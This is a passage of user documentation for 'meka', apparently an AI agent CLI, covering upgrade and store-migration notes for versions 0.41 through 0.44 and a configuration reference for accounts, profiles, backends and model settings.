a profile, so a client that read one and posted it to the other got a 422. They were duplicates of
the active row besides.
If you ran a 0.44 development build, your store repairs itself on the next run. One such build
removed a migration from the middle of the ledger instead of appending its reversal. user_version
is a positional index, so that renumbered every later step, and a store sitting between the hole and
the new head skipped a step it had never run while stamping itself current. The symptom was every
MCP connection failing with no such table: mcp_credentials after a migration that reported
success.
Nothing is needed from you: an appended step recreates the table and carries the old MCP credentials into it, because a store already stamped past the missed step is only reachable by appending. Released 0.43 stores were never affected; they sit at the baseline and migrate straight through.
--model, --base-url, --thinking and --thinking-budget are gone. A profile is an
indivisible bundle: the backend, the endpoint, the credential keyed to it, the model, and every
model-tied setting. A session selects one by name and records that name. A flag that moved one field
of the bundle left the rest behind, so --model against a profile stating context_window = 1000000
ran a 200K model while gauging its context against a 1M window, and never auto-compacted.
Change a setting on the profile (0.44 syntax):
meka provider set work model claude-opus-5
meka provider set work effort --unset
Or make a second profile and select it with --provider, which is now the only provider flag on a
run. meka provider add has a flag for every profile field except device_id, which meka resolves
and persists itself, so one command creates a whole profile (0.44 syntax):
printf '%s' "$ANTHROPIC_API_KEY" | meka provider add fast \
--type anthropic-messages --model claude-haiku-4-5 \
--context-window 200000 --api-key-stdin
The thinking budget is per profile. [providers.<name>].thinking_budget takes precedence over
[thinking].budget_tokens, which stays as the installation-wide fallback and needs no edit. The
global was previously cross-checked against a per-profile max_output_tokens, so a profile could
be refused over a number stated nowhere in it, and told to fix it by lowering a value every other
profile also read.
meka acp and meka serve refuse -c and -r. Both name one run’s session, and a long-lived
host has no such thing: it creates one per session/new or per POST /v1/sessions, each naming its
own profile. They used to be accepted and quietly misapplied: -c / -r switched off the
default-profile check a host with no default needs most. Over HTTP, name a provider on POST /v1/sessions; under ACP, session/new creates on the host’s default and session/set_config_option
moves it.
--provider is still accepted, because it selects which configured profile the host defaults to,
which is a property of the host rather than of one session.
Also on the HTTP side, and not a break: PATCH /v1/sessions/{id} with a body naming only a provider
now works on a session that is not loaded, which is how you move one whose profile has left
config.toml. It takes the session lock to do it, so if you run more than one meka on the same
store, send it to whichever process has the session; another one answers 409 session-locked
rather than moving a row the running host would ignore.
0.42 to 0.43
Nothing to do. Start 0.43 and it brings the store forward itself, on the first open, before anything reads it.
This is the first release that migrates its own store, and from here on that is the rule: upgrades from 0.43 onward are a binary swap, whatever the schema does.
What it changes, if you want to know what happened. A scheduled job’s gate used to be two columns, gate_command and gate_fire; it is now gate_kind plus a JSON gate_spec, which is what lets a gate call a read-only tool instead of a shell command. And a due job is now claimed by leasing it rather than by consuming its row, which adds claimed_by, claimed_until and attempts, so a host that crashes mid-delivery no longer loses the occurrence, or for a one-shot the whole job. Each gate’s stored baseline is preserved, so a changed gate does not fire spuriously on its first evaluation afterwards.
Before it writes anything, meka copies the store to meka.db.v1.bak beside it. That doubles the space the store takes until you delete it, which is worth knowing if yours is large. Start with -v once if you want the exact path in the log; the copy is otherwise silent. It records the version it was taken at, so if you ever restore it, the next start migrates it again correctly rather than mistaking it for a store that is already current.
The whole thing is one transaction, so an interruption leaves the store exactly as it was rather than half-converted. Running two hosts at once is fine: the first takes the schema lock and the second waits, then finds nothing to do.
Coming from 0.41 or older, run migrate-0.41-to-0.42.py once first, as described below. 0.43 recognizes a 0.41-shaped store and refuses it by name rather than converting it into something still unreadable, and it changes nothing when it does.
A gate that cannot be read
Rare, and worth knowing the shape of. If a job’s gate was already unreadable under 0.42 (a hand-edited row, or a gate_fire value meka never wrote), it cannot be converted, because there is nothing to convert it from. Such a job never fired under 0.42, and it does not fire under 0.43 either: the migration leaves it in the same refused state rather than guessing at what it meant or deleting it. It is logged once, by id, at warn.
The consequence is that the row stays inert and invisible, as it already was: it will not appear in meka schedule list and meka schedule cancel cannot reach it. Recreate the job if you still want it. The original row is in the backup 0.43 took, meka.db.v1.bak. Note that from 0.44 a later schema-changing upgrade deletes that file, so put a copy somewhere of your own if you want to keep it.
0.41 to 0.42
A store written by 0.41 needs five conversions before 0.42 reads all of it. They are performed by migrate-0.41-to-0.42.py, a one-shot script attached as an asset to the 0.42 release. Download it, run it once, and you are done with it.
This one stays a script, and 0.43’s own store migration does not replace it: 0.42 carried no migration code to reach back with, and conversion B below has to guess. 0.41 recorded nothing about which provider a thinking block came from, so the script tells them apart by the shape of the blob, and it reports what it read before it writes. A guess wants a human reading the counts, which is the one thing a migration that runs on every start cannot offer.
Order
- Run 0.41 once, before you replace it. It brings a store from an older release fully up to date; 0.42 carries no migration code and cannot.
- Install 0.42 and launch it once. This is what creates the tables the script writes into, so it is not an arbitrary step you can move: run the script against a store that predates 0.42 and it stops with an explanation rather than guessing.
- Run the script, first as a dry run, then with
--apply.
python3 migrate-0.41-to-0.42.py # reports what it would change; writes nothing
python3 migrate-0.41-to-0.42.py --apply # does it
Read the dry run before you apply it. Conversion B in particular reports how many thinking blocks it read as Claude’s and how many as OpenAI’s, and 0.41 did not record which was which. If those counts do not match the providers you actually used, stop: the blocks it could not place are left alone, but the ones it places wrongly are not recoverable from the row afterwards.
The dry run is the only place to read that. Its per-class counts and its warning about a session holding both kinds describe the write it is about to do, so once the blocks are converted a later run has nothing left to report about them.
Between steps 2 and 3 the store is live but incomplete: memories are absent from the agent’s index, and any session affected by conversion E below is already broken. Step 3 is part of the upgrade rather than cleanup to get to later.
The script finds meka’s own directories by default, honoring MEKA_CONFIG_DIR and MEKA_DATA_DIR; --root, --skills-root and --database point it at a copy instead. --self-test checks the script against its own fixtures and exits, touching nothing of yours.
What it converts
| Conversion | What it changes | If you skip it |
|---|---|---|
| A. Memories | The Markdown files under <config>/memory/ become rows in the store’s memories table, which is where 0.42 reads memories from. The files are read, never written or deleted. | The memories are simply not there. The files are untouched on disk, so nothing is lost and the import still works whenever you get to it. |
| B. Thinking blocks | A stored block’s bare signature becomes an opaque object naming which provider it belongs to: signed for a Claude signature, sealed for OpenAI’s encrypted reasoning. 0.41 wrote both to the same field and recorded nothing about which was which, so the script tells them apart by the shape of the blob and reports the counts before it writes. A blob it does not recognize is left exactly as it is. | The block loses its opaque half, so that reasoning stops being replayed to the provider. The session still loads and still runs; it just resumes without the chain of thought behind those turns. |
C. A skill’s version: / author: | Both move from the top level of a SKILL.md’s frontmatter under metadata:, keeping their names, which is where the Agent Skills spec puts them. | Nothing. meka reads a top-level version: and author: permanently, because Claude Code’s plugin skills declare version: there. This conversion is cosmetic. |
D. A skill’s priority: | Moves under metadata: and is renamed to meka-priority:. | The skill silently drops to the default rank of 5. A rank is read from metadata.meka-priority and nowhere else, so the [Skills] index comes out in a different order and its cap drops different skills. Nothing warns. |
E. A stored tool_result | Content held as a bare JSON string becomes a list of typed blocks, [{"type": "text", "text": ...}]. | The affected session breaks. The row will not deserialize, so it is dropped as the session loads, which orphans the tool_use it answered, and the provider then refuses the next turn. |
The two that matter
A and B announce themselves: a memory you saved is missing from the index, or a thinking block is not replayed. Both are recoverable by running the script later.
D and E are the ones that damage silently. D changes which skills the [Skills] index shows first and which its cap drops, with nothing on screen to say the rank it used was not the one in your file. E can leave a session unusable: it loads cleanly, and then the next turn is refused by the provider because a tool_use in the history has no matching result. See Sessions if you have already met that error.
Configuration overview
meka is configured with named accounts and profiles in a config file at
~/.config/meka/config.toml, plus secrets kept in the store. An account is where a request
goes and who meka is when it arrives: a backend, an endpoint, and the credential a login produced. A
profile is what meka asks that account for: a model and every model-tied setting. The quickest way
to get started is to let the two command suites write both for you:
$ meka account add anthropic --backend claude-subscription
$ meka profile add work --account anthropic --model claude-opus-5
The first command writes an [accounts.anthropic] table to the config file, runs the OAuth login
(or prompts for an API key, depending on the backend), and saves the secret to the store. The
second writes a [profiles.work] table naming that account. With one profile configured, it is the
default. The resulting config looks like:
default_profile = "work"
[accounts.anthropic]
backend = "claude-subscription"
[profiles.work]
account = "anthropic"
model = "claude-opus-5"
See Config file for the full reference and the
meka account and
meka profile command suites.
Required settings
To run a turn, meka needs an active profile that names an account and a model, and a stored
credential for that account. If no profile can be selected, or the active profile’s account has no
credential, meka prints an error pointing at meka profile add / meka account login.
| Setting | Source | Named on the command line |
|---|---|---|
| Profile for an existing session | The session’s own row | --profile <name>, which repins the row |
| Profile for a new session | default_profile in config, or the sole profile | --profile <name> |
| Profile for a sub-agent | The parent’s, or the profile its agent_spawn call named when [subagents].agent_chosen_profile is on | none |
| Account | [profiles.<name>].account | none |
| Backend, endpoint, OAuth settings | [accounts.<name>].* | none |
| Model and every model-tied setting | [profiles.<name>].* | none |
| Credential (API key / OAuth) | The store, via meka account add / login | none |
A profile is indivisible
A profile is a named bundle: the account it bills, the model, and every model-tied setting
(context_window, vision, max_output_tokens, effort, thinking, thinking_budget,
max_request_bytes, thinking_display). A session selects one by name and records that name.
Nothing overrides a field inside one.
There is deliberately no --model, --base-url, --thinking or --thinking-budget. A flag that
moved one field of the bundle left the rest behind, so a session could run a 200K model while
gauging its context against the 1M window its profile still stated, and never auto-compact.
To change a setting, edit the profile:
meka profile set work model claude-opus-5
To run something different, make a second profile on the same account and select it:
meka profile add fast --account anthropic --model claude-haiku-4-5 --context-window 200000
meka --profile fast -p "quick question"
Override layers
Profile selection is layered as follows; higher-priority layers override lower ones:
- The session’s own row: the profile it was created with. A session that exists runs on what
its row says, whatever
default_profilelater becomes. --profile <name>: on a new session this chooses what the row records; on a resume it rewrites the row, so the change holds for every later turn and from every surface. See what a resume restores.- Config file: persistent accounts and profiles in
~/.config/meka/config.toml. - Built-in defaults: permission defaults to
read, streaming defaults to on.
There is no environment-variable tier for accounts or profiles; an ambient OPENAI_API_KEY or
MEKA_PROFILE has no effect (see Environment variables).
Credential resolution
The credential for a session’s profile is loaded from the store, keyed by the profile’s account name. It is acquired interactively:
meka account add <name>runs the OAuth login (claude-subscription,chatgpt-subscription) or prompts for the API key (anthropic-messages,openai-chat-completions,openai-responses) when the account is created.meka account login <name>re-acquires it for an existing account (rotate an API key, recover from a dead OAuth refresh token), keeping every setting on the account and every profile on it. Add--api-key-stdinto pipe the key in for scripted rotation.meka account remove <name>deletes the stored credential and the account, once no profile names it.
Because secrets are keyed per account, two accounts on the same backend (for example, two Claude subscriptions) keep independent credentials, and every profile on one account shares its login.
Deleting an [accounts.<name>] block by hand removes the settings but not the secret, which stays in
the store under that name. meka account list names any credential left that way, and meka account remove <name> deletes it; see Leftover
credentials.
Why some settings have no config key
A few things are deliberately CLI-only, with no config.toml key and no environment variable.
--writable-root is the current example: which folders a run may write at workspace permission is
a per-run scope, like the working directory itself, not a preference worth persisting. Writing it
into a file would make the boundary depend on where the file lives rather than on what you asked for
this time.
This is the same reasoning that keeps the working directory out of config, and it is the exception to “config.toml is the complete source of truth”: that rule covers persistent settings, and a per-run scope is not one.
When edits take effect
meka in the terminal reads config.toml and your instructions files at startup, so anything you
change applies from the next command. A long-lived host is different: meka serve and meka acp
read both once, when the process starts, and keep what they read for as long as they run.
Two consequences worth knowing:
meka profile addormeka account addwhile a server is running does not reach it. The new entry is on disk and the listings show it, butPOST /v1/sessionsand ACP’s profile picker answer “not configured” until the server is restarted. The same applies to editing an existing profile or account.- Editing your instructions files does not reach it either. They are read once and go into the cached prompt prefix that every session shares.
Restart the server to pick either up. Everything else follows a live source and needs no restart: skills are re-read per turn, memories per turn, and MCP tool lists follow the server.
A rotated credential sits between the two, and the distinction matters if you are rotating
because a key leaked. meka account login <name> from a second process is picked up without a
restart by anything that builds a provider after it: newly created sessions, ones the server
re-attaches after eviction, and ones explicitly repinned by PATCH /v1/sessions/{id},
session/set_config_option or /profile.
A session already resident in memory holds the provider it was built with. For an API-key
account that means it keeps presenting the old key until it is evicted ([serve] idle_timeout, 24
hours by default) or the server restarts. For the OAuth backends (claude-subscription,
chatgpt-subscription) the live provider re-reads the stored bundle when it next refreshes its
token, so a rotation is usually adopted sooner, but nothing makes that happen on demand.
To be certain a revoked credential is out of use, restart the host.
Config file
meka looks for a TOML configuration file at a platform-specific location:
| Platform | Path |
|---|---|
| Linux | ~/.config/meka/config.toml ($XDG_CONFIG_HOME/meka/config.toml) |
| macOS | ~/Library/Application Support/meka/config.toml |
| Windows | %APPDATA%\meka\config.toml |
The config file is optional. If it does not exist, meka silently skips it.
meka refuses unknown keys: a typo (contex_window) or a removed key (reasoning_effort) fails the load with an error naming the offending key, rather than being silently ignored. Fix or remove the key to continue.
The commands that edit the file are exempt, so a broken config can still be repaired from the CLI: meka mcp add / remove / enable / disable, meka account remove / rename and meka profile remove / rename work on the raw document and don’t care about an unknown key elsewhere in it. Everything that reads config fails instead of answering from empty defaults, because “No MCP servers.” over a file full of them is indistinguishable from the truth.
Those editors only reach the keys they own, so a bad key anywhere else ([session], [permissions], a top-level typo, a raw syntax error) has to be fixed in an editor. The error names the file, line, column, and offending key.
Set the MEKA_CONFIG_DIR environment variable to override the default location entirely. The value points at the meka directory itself (contains config.toml and skills/). Useful for tests, portable installs, and isolating a per-project config from your global one.
The directory holds two more things that are not config keys. Standing instructions live at a conventional path beside the file, because prose long enough to be worth writing is miserable to maintain inside a TOML string, and skills have a directory of their own:
~/.config/meka/
├── config.toml
├── instructions.md # or instructions/*.md
└── skills/
Write instructions.md, or split a large set across instructions/*.md, and meka reads it at startup into the ## User Instructions section of the system prompt; see Instructions. To pass the text as a string instead (containers, CI), use MEKA_INSTRUCTIONS, MEKA_INSTRUCTIONS_FILE, or --instructions.
Everything in that directory is content you put there, so it is safe to keep under version control. Commands that edit the config take a cross-process lock on the directory itself, as does claiming a skill store, so neither leaves a lock file behind; a write is published by renaming a short-lived config.toml.<pid>.<seq>.tmp over the target, so that name can appear for the duration of one write. If you are upgrading from a version that wrote .config.toml.lock, or .meka-store.lock inside a skill store, delete them: nothing reads or writes them any more.
Windows still writes both, because its file locks are mandatory rather than advisory: a lock held on config.toml would make the file unreadable to the command holding it, and LockFileEx refuses a directory handle outright. If you keep a meka config directory under version control on Windows, ignore .config.toml.lock and skills/.meka-store.lock.
The sections below are in the order a file is best written in: the blocks with many entries first (default_profile, accounts, profiles, MCP servers), then each single table from the most to the least consequential, and [serve] last.
Accounts and profiles
Where a request goes and what it asks for are configured separately. An account is a backend,
an endpoint and the credential a login produced: [accounts.<name>] in config.toml, with the
secret in the store under the same name. A profile is an account plus a model and every
model-tied setting: [profiles.<name>]. A session records the profile it runs on; the profile
names its account. Two profiles on one account share one login; one account on two endpoints is two
accounts.
Secrets are never stored in the config file. API keys and OAuth token bundles live in the
store, keyed by account name, and are acquired through the meka account
command suite (meka account add runs the API-key prompt or the OAuth login for you). The config
file holds only the non-secret settings shown below.
default_profile = "work"
[accounts.anthropic]
backend = "claude-subscription"
[accounts.ollama]
backend = "openai-chat-completions"
base_url = "http://localhost:11434/v1"
[profiles.work]
account = "anthropic"
model = "claude-opus-5"
[profiles.fast]
account = "anthropic"
model = "claude-haiku-4-5"
context_window = 200000
[profiles.local]
account = "ollama"
model = "llama3"
Selecting the active profile
For each run meka picks one profile using this precedence:
--profile <name>CLI flag.default_profilein the config file.- The sole profile, if exactly one is configured.
If none of these resolve (no profiles configured, or more than one with no default_profile /
--profile), meka errors and points you at meka profile add / meka profile use. Resuming a
session is the exception: it runs on the profile it recorded and never consults this, so an
ambiguous default does not block meka -c. There is no environment-variable tier for profile
selection; the config file (plus the per-run CLI flag) is the source of truth.
Timeouts
Every backend connects with a 30-second handshake deadline and fails a stream that produces nothing for five minutes, which surfaces as a retryable error rather than a hung turn.
Neither is a limit on the turn. There is deliberately no cap on how long a turn may run, how many tool calls it may make, or how many tokens it may spend: those ceilings belong to your API key and your provider plan, not to the harness. What these bound is silence. A model that is still thinking is still sending, so a stream that goes quiet for five minutes has died, and waiting on it forever is not patience.
A whole reply (--no-stream, and the summary a compaction asks for) is silent until it is finished,
so it gets no clock at all: a reply may take as long as it takes. A connection whose peer has gone
is found by TCP and HTTP/2 keepalives instead, which a busy server answers and a vanished one does
not, so a dropped route still surfaces as an error within a minute or two. A peer that is up and
never answers is not found this way: such a request waits until it is canceled, which is the trade
a base_url behind a gateway with no timeout of its own makes. A cancel drops a pending reply at
once, in either mode.
default_profile
Top-level field naming the profile to use when --profile isn’t passed. Set it with
meka profile use <name>; meka profile add never writes it, since a sole profile is the default
by the selection rule.
Account fields
backend
The driver the account uses (required).
| Value | Protocol | Auth |
|---|---|---|
anthropic-messages | Anthropic Messages, POST {base}/v1/messages | API key (x-api-key) |
claude-subscription | Anthropic Messages, against api.anthropic.com | Claude subscription OAuth (fingerprinting + attestation) |
openai-chat-completions | OpenAI Chat Completions, POST {base}/chat/completions | API key |
openai-responses | OpenAI Responses, POST {base}/responses | API key |
chatgpt-subscription | OpenAI Responses, against chatgpt.com/backend-api/codex | ChatGPT subscription OAuth |
An API-key backend is named for the protocol it speaks, because base_url decides the endpoint and
the same protocol is served by many vendors. A subscription backend is named for the product,
because the endpoint is fixed and what the account holds is a billing relationship. See Providers
overview for which servers implement which protocol.
base_url
Custom API base URL. Useful for:
- Self-hosted models via Ollama (
http://localhost:11434/v1) - OpenRouter (
https://openrouter.ai/api/v1) - Other OpenAI-compatible API providers
If not set, defaults to:
https://api.openai.com/v1for theopenai-chat-completionsandopenai-responsesbackendshttps://chatgpt.comfor thechatgpt-subscriptionbackend (request path is/backend-api/codex/responses)https://api.anthropic.comfor theanthropic-messagesandclaude-subscriptionbackends
Set it with meka account add <name> --base-url <url>, or edit the account table by hand.
The two API families end their base URL in different places, and that is not meka’s choice. An
OpenAI-compatible base includes the version segment, which is why every provider documents one
ending in /v1 and why meka appends only /chat/completions. A Claude base is the host root,
because meka reaches two different roots off it: /v1/messages for the turn, and /api/oauth/...
for the subscription usage and profile endpoints. A base ending at /v1 could not reach the second
set. The official SDKs draw the line the same way.
A gateway that fronts both APIs therefore publishes two URLs, and its Anthropic one is often written
with the /v1 its OpenAI sibling needs (https://api.synthetic.new/anthropic/v1). Paste it as-is:
for an anthropic-messages or claude-subscription account meka drops a trailing /v1, since it
re-adds that segment on every request and the alternative is a request to /v1/v1/messages. Only a
trailing one goes, so a base whose path legitimately contains /v1 earlier
(https://gateway.ai.cloudflare.com/v1/{account}/{gateway}/anthropic) is left alone. Trailing
slashes are trimmed for every backend.
The reverse is not inferred: an openai-chat-completions base is used exactly as written, because a
gateway serving /chat/completions at its root is legitimate and meka cannot tell that apart from a
missing /v1. If an OpenAI-compatible endpoint 404s, check that the base carries the version segment
its documentation shows.
oauth_token_url
The OAuth token endpoint meka posts to, for the initial code exchange at meka account add /
login and for every refresh thereafter. Both, not just refreshes: it overrides a constant, so it
overrides it everywhere that constant is used. Defaults:
https://platform.claude.com/v1/oauth/tokenforclaude-subscriptionhttps://auth.openai.com/oauth/tokenforchatgpt-subscription
It exists because that endpoint is the provider’s fact, not meka’s, and a value baked into the
binary either goes stale or sits on the far side of a proxy your network makes you use. Set it with
client_id when your route out needs both.
There is deliberately no authorize_url to go with it, and the asymmetry is not an oversight: meka
never requests the authorization URL, it hands it to your browser, so an egress proxy is never in
that path. The two legs meka makes itself are the code exchange and the refresh, and this covers
both.
client_id
OAuth client id override (advanced; claude-subscription / chatgpt-subscription only). Leave unset to use meka’s built-in default client ids.
device_id
claude-subscription only. Stable per-device identifier embedded in metadata.user_id to mirror Claude Code’s ~/.claude.json device id (getOrCreateUserID in utils/config.ts).
If unset, meka first tries to adopt userID from ~/.claude.json (so meka and Claude Code on the same machine look like the same device). If that file is missing or has no userID, meka generates a 64-character hex string. Either way, the resolved value is persisted back to the account under [accounts.<name>].device_id. This file write only happens for the claude-subscription backend; other backends don’t need a device id.
You can supply your own value if you want to control attribution explicitly:
[accounts.work]
backend = "claude-subscription"
device_id = "your-stable-id-here"
Profile fields
account
The account the profile bills (required). Must name an [accounts.<name>] table; a profile whose
account is missing is refused by name when a session tries to run on it, and meka profile list
says so.
model
The model identifier to send to the provider, forwarded verbatim. Optional in the file, but a session cannot run without one: a profile that names no model is refused by name when a session tries to run on it. meka does not gate which strings are valid, so an OpenAI-compatible endpoint accepts whatever that server exposes.
meka profile add suggests claude-opus-5 for a profile on a Claude account and gpt-5.6-sol for one on an OpenAI account. For the current line-ups, see Anthropic’s models overview and OpenAI’s models overview; naming them here would go stale on someone else’s schedule.
Change it with meka profile set <name> model <value>.
context_window
The model’s context window (total tokens it can hold), used for the /status gauge and auto-compaction. Takes precedence over [session].context_window; when neither is set, meka assumes 1000000.
meka never infers this from the model name and never asks the provider for it, so this is where a model smaller than the default gets stated. It is a local budgeting number that is never sent on the wire, so a wrong value can’t fail a request, but leaving it at 1M for a smaller model means planned compaction never fires, and every compaction instead happens after the provider rejects the request as too large, costing a wasted round trip each time.
The window belongs to the session, not to the process: each session is measured against the profile it recorded, so two sessions in one meka serve can sit on profiles with different windows.
[profiles.work]
account = "openai"
model = "my-128k-model"
context_window = 131072
max_output_tokens
Override the per-request output (completion) token cap. When unset, each backend keeps its built-in default:
| Backend | Default when unset |
|---|---|
Claude, thinking adaptive | 64000 |
Claude, budgeted | twice the resolved budget, or 32000, whichever is larger |
Claude, off | 32000 |
| Every other backend | the endpoint’s own |
The Claude figures are meka’s own defaults for the two Anthropic backends, taken from what Claude Code 2.1.263 sends on the wire; stating one here replaces them. The OpenAI backends send no cap unless the profile states one, because each reaches whatever base_url names and the endpoint’s default is that endpoint’s fact.
Under thinking = "budgeted" the value must exceed the profile’s resolved thinking budget (thinking_budget, else [thinking].budget, else 16000). meka profile add and meka profile set both refuse a profile that fails this, and it is validated again at startup.
[profiles.work]
account = "anthropic"
max_output_tokens = 16000
effort
One knob for reasoning effort across every backend: Claude sends it as output_config.effort (claude-subscription under the effort-2025-11-24 beta, anthropic-messages directly), openai-chat-completions as reasoning_effort (with max_completion_tokens for the output cap), and the two Responses backends as reasoning.effort (with max_output_tokens).
When unset the field is omitted, and the provider applies its own default. claude-subscription is the exception: it sends high, matching Claude Code. That is the point of leaving it unset: effort is a request parameter the provider owns, and omitting it is how you ask for whatever that provider considers right. meka picks no tier of its own, because it cannot know which tiers a given endpoint implements: anthropic-messages and openai-chat-completions reach any compatible server, including local ones serving weights that never had a reasoning knob, and a tier the backend doesn’t implement is a rejected request rather than a graceful ignore.
An explicit value is absolute: sent verbatim (trimmed and lowercased), with no validation or clamping, whatever model it is aimed at. You own correctness for your model and endpoint; an invalid value is rejected by the API. A blank value reads as unset.
Typical values: low, medium, high, xhigh, max.
[profiles.work]
account = "anthropic"
effort = "xhigh"
vision
Whether this profile’s model accepts image input. Defaults to true. Set false for a text-only model so attachments are refused rather than sent to a model that cannot read them.
Refusal is per session, from the profile that session recorded, on both ACP and POST /v1/sessions/{id}/turn. What ACP advertises in promptCapabilities.image is necessarily per connection: initialize is answered before any session exists, so it reports the default profile’s flag. A client on a vision-capable connection can still have its attachment refused by a session pinned to a text-only profile. See ACP.
[profiles.local]
account = "ollama"
model = "llama-3-8b"
vision = false
thinking
Claude-only. How the request encodes extended thinking, and whether it asks for it at all:
| Value | Wire shape |
|---|---|
adaptive (default) | thinking: {"type": "adaptive"}: the model sets its own budget. Claude 4.6+ |
budgeted | thinking: {"type": "enabled", "budget_tokens": N}, with N from thinking_budget, else [thinking].budget, else 16000. Required by pre-4.6 Claude, and the form most third-party Anthropic-compatible servers implement |
off | No thinking field |
One knob rather than two: it replaces both the old on/off switch and the encoding meka used to infer from the model name. The right value depends on the model and on what the endpoint implements, which meka can’t determine, so the profile states it, and a profile whose model later changes is yours to keep correct.
[profiles.local]
account = "gateway"
thinking = "budgeted"
thinking_budget
Tokens the model may spend thinking. Read only under thinking = "budgeted"; the other two settings send no budget at all. A profile that states none falls back to [thinking].budget, and then to 16000.
Per profile because it is a parameter of thinking, and thinking is per profile. It was one installation-wide value until 0.44, which meant a profile could be refused over a number stated nowhere in it, and told to fix it by lowering a global every other profile was also budgeting against. Under thinking = "budgeted" this profile’s max_output_tokens must exceed the resolved budget, and the remedy now names this profile’s own keys.
[profiles.work]
account = "anthropic"
thinking = "budgeted"
thinking_budget = 20000
max_request_bytes
Largest request body, in bytes, before the oldest tool-result images are redacted to fit; a body
that still does not fit is refused, and the turn retries without its newest attachments. Unset, the
Anthropic backends use 31457280 (30 MiB), which is Anthropic’s 32 MiB cap less headroom, and the
OpenAI backends apply no ceiling until one is stated: their endpoints’ caps are the endpoints’ own
facts. An account reaches whatever its base_url names, so a profile on an endpoint with a smaller
cap states it here. Redaction removes tool-result images, oldest first; an image attached to the
newest message is never removed, and a body that still does not fit is refused so the turn can
degrade its own attachments instead. openai-chat-completions never sends tool-result images (that
API’s tool messages are text), so there the ceiling only refuses.
[profiles.local]
account = "gateway"
max_request_bytes = 8388608
thinking_display
claude-subscription only. How the model’s thinking is presented, one of Claude Code’s three
display modes:
updates(the default, Claude Code’s own): the server streams a running token count in place of the text, and the REPL drawsThinking... (150 tokens)from it, redrawn as the count climbs and left on screen when the phase ends. Sent asthinking.display = "updates"under thethinking-display-updates-2026-08-18beta.summarized: the server streams a short summary of the reasoning, shown as thinking text. Sent asthinking.display = "summarized".redacted: the server withholds the text and may return opaqueredacted_thinkingblocks. Sent as theredact-thinking-2026-02-12beta with no display field.
Every mode returns signed thinking blocks, which meka stores and replays verbatim, so multi-turn
continuity holds in all three. With thinking off there is nothing to display, and meka sends the
redaction beta as Claude Code does.
[profiles.work]
account = "anthropic"
thinking_display = "summarized"
meka account CLI
Add, re-authenticate, list and remove accounts without editing config.toml by hand. The
credential prompt / OAuth login runs as part of add and login, and secrets are written to the
store, never the config file.
| Command | Action |
|---|---|
meka account add <name> [--backend B] [--base-url U] [--client-id ID] [--oauth-token-url U] [--api-key-stdin] | Add an account. Prompts for the backend and base URL when not flagged, then acquires the secret (OAuth login for claude-subscription / chatgpt-subscription, API-key prompt for anthropic-messages / openai-chat-completions / openai-responses). --api-key-stdin reads the key from stdin instead, and then needs --backend as a flag too, since a prompt would consume the piped key; it is refused for the two subscription backends, which have no key to read. --client-id and --oauth-token-url are dropped with a warning on an API-key backend, which never reads them. device_id has no flag, because meka resolves and persists it itself. |
meka account list | List configured accounts with backend, base URL, and whether each has a stored credential; --format json prints the same as one document. Also names any stored credential that no account claims (see Leftover credentials). |
meka account login <name> [--api-key-stdin] | Re-acquire the secret for an existing account (re-authenticate, recover from a dead OAuth refresh token, or rotate an API key). --api-key-stdin reads the key from stdin for scripted rotation, and is refused on the subscription backends, which have no key to read. Every setting on the account is kept. |
meka account remove <name> | Delete the stored credential from the store and remove the [accounts.<name>] entry from the config file. Refused while any profile names the account, naming the profiles: remove or repoint those first. Works on a name with only one of the two halves, so it can clean up after a hand-edit. |
meka account rename <name> <new-name> | Rename the account in place. The [accounts.<name>] table keeps its position and comments, every profile naming it follows, and its stored credential moves with it, so no login is needed. Refused when the new name is taken, a leftover credential is stored under it, or another meka is refreshing the account’s token at that moment. Stop running hosts first: one keeps the names it started with until restarted, and a token it refreshes afterwards is dropped rather than saved. |
meka account usage / whoami / stats | The read-only account views; see Account info. |
--api-key-stdin reads the key from standard input instead of prompting, for scripted setup:
$ printf '%s' "$OPENAI_API_KEY" | meka account add openai --backend openai-chat-completions --api-key-stdin
There is no account set. An account has three settings a user writes, and each is the kind of
thing a login was made against, so a change is an edit to config.toml followed by
meka account login <name> when the endpoint moved.
meka profile CLI
Add, switch, edit and remove profiles. A profile holds no secret, so none of these commands runs a login.
| Command | Action |
|---|---|
meka profile add <name> [--account A] [--model M] [...] | Add a profile. Prompts for the account and model when not flagged (a sole account is offered as the default; the model prompt offers claude-opus-5 on a Claude account and gpt-5.6-sol on an OpenAI one), then offers an optional advanced step covering thinking, context window and effort, plus the thinking budget if you answer budgeted. Every other profile field has a flag writing the key of the same name: --context-window, --max-output-tokens, --effort, --vision, --thinking, --thinking-budget, --max-request-bytes and --thinking-display <DISPLAY>, so one non-interactive command can create a profile of any shape. An unflagged setting is left out of the profile so its documented default applies. Does not touch default_profile. |
meka profile list | List configured profiles with account, backend, model and the default marker; --format json prints the same as one document. Names any profile whose account is not configured. |
meka profile set <name> <key> <value> | Change one setting on an existing profile, in place. --unset in place of the value removes the key instead. See Changing one setting. |
meka profile use <name> | Set default_profile to this profile. |
meka profile remove <name> | Remove the [profiles.<name>] entry from the config file. Warns if it clears a default_profile that other profiles are still competing for, and if any sessions are pinned to the profile it deleted (those refuse to resume until it is configured again, or moved with meka -r <id> --profile <name>). The account and its credential stay. |
meka profile rename <name> <new-name> | Rename the profile in place. The [profiles.<name>] table keeps its position and comments, default_profile follows when it named the profile, and every session recorded on it moves, sub-agent sessions and their pinned spawn terms included. Refused when the new name is taken, or when any session already records it. Stop running hosts first: one keeps the names it started with until restarted, and its sessions on the renamed profile are refused their next turn. |
Changing one setting
meka profile set <name> <key> <value> writes one key into [profiles.<name>]: every other
setting keeps its value, and every comment you wrote above or beside a key stays attached to that
key. This is how a profile’s model changes, since there is no per-run flag for it.
Keys are left in the order Profile fields documents, so a profile meka has written to is in that order whatever order it was in before. That is deliberate rather than incidental: every writer normalizes, so the file does not depend on which command last touched it, and there is one shape to read rather than one per history. Comments move with their keys, so an annotated profile stays annotated.
$ meka profile set work model claude-opus-5
$ meka profile set work context_window 200000
$ meka profile set work effort --unset
--unset removes the key so the profile falls back to meka’s default for it. That is not the same
as writing an empty value: an absent key follows whatever the documented default later becomes,
which is what an unstated setting has always meant. model is the one key with no default to fall
back to, so --unset model and an empty model are both refused.
Nine keys are settable, each named after the profile field it writes:
| Key | Value |
|---|---|
model | Any non-empty string, forwarded to the provider verbatim; the one key --unset refuses |
context_window | A whole number of tokens |
max_output_tokens | A whole number of tokens |
effort | Any string |
vision | true or false |
thinking | adaptive, budgeted, or off |
thinking_budget | A whole number of tokens |
max_request_bytes | A whole number of bytes |
thinking_display | updates, summarized or redacted |
A token count must be whole and at most 9223372036854775807, the largest integer TOML can represent;
